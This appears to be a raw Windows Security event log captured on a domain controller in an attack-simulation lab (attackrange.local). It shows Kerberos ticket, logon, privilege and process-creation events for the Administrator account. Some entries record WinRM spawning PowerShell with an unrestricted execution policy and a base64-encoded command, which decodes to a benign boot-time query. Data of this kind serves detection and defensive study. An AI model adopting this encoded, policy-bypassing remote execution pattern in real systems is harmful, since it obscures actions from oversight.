SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=253494
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{B812AC57-6FC2-4607-7B57-BEA483B003FB}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=253493
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=253492
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1B7F6D

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=253491
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1B71D3

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:49 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=253490
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1B513B

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253573
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1BDCFC

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253572
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1BDCFC
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{618107B9-0133-62FA-6146-B4599AD92FB1}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253571
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{618107B9-0133-62FA-6146-B4599AD92FB1}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=253570
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{618107B9-0133-62FA-6146-B4599AD92FB1}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=253569
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253568
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1BD294

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1064
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x12ec
	Creator Process Name:	C:\Windows\System32\cmd.exe
	Process Command Line:	PowerShell  -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand KABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMATgBhAG0AZQAgAFcAaQBuADMAMgBfAE8AcABlAHIAYQB0AGkAbgBnAFMAeQBzAHQAZQBtACkALgBMAGEAcwB0AEIAbwBvAHQAVQBwAFQAaQBtAGUA

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253567
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1BD294

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12ec
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x4d0
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand KABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMATgBhAG0AZQAgAFcAaQBuADMAMgBfAE8AcABlAHIAYQB0AGkAbgBnAFMAeQBzAHQAZQBtACkALgBMAGEAcwB0AEIAbwBvAHQAVQBwAFQAaQBtAGUA

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253566
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1BD85F

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253565
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1BD85F
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{618107B9-0133-62FA-6146-B4599AD92FB1}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253564
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{618107B9-0133-62FA-6146-B4599AD92FB1}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=253563
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{618107B9-0133-62FA-6146-B4599AD92FB1}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=253562
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253561
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1BD294

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1308
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x4d0
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253560
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1BD294

Process Information:
	New Process ID:		0x4d0
	New Process Name:	C:\Windows\System32\winrshost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1e0
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\system32\WinrsHost.exe -Embedding

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253559
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1BD294

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253558
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1BD294
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{618107B9-0133-62FA-6146-B4599AD92FB1}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253557
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{618107B9-0133-62FA-6146-B4599AD92FB1}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=253556
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{618107B9-0133-62FA-6146-B4599AD92FB1}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=253555
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=253554
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1BD23D

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253553
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1BD23D

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:50 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253552
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1BD23D
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{618107B9-0133-62FA-6146-B4599AD92FB1}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

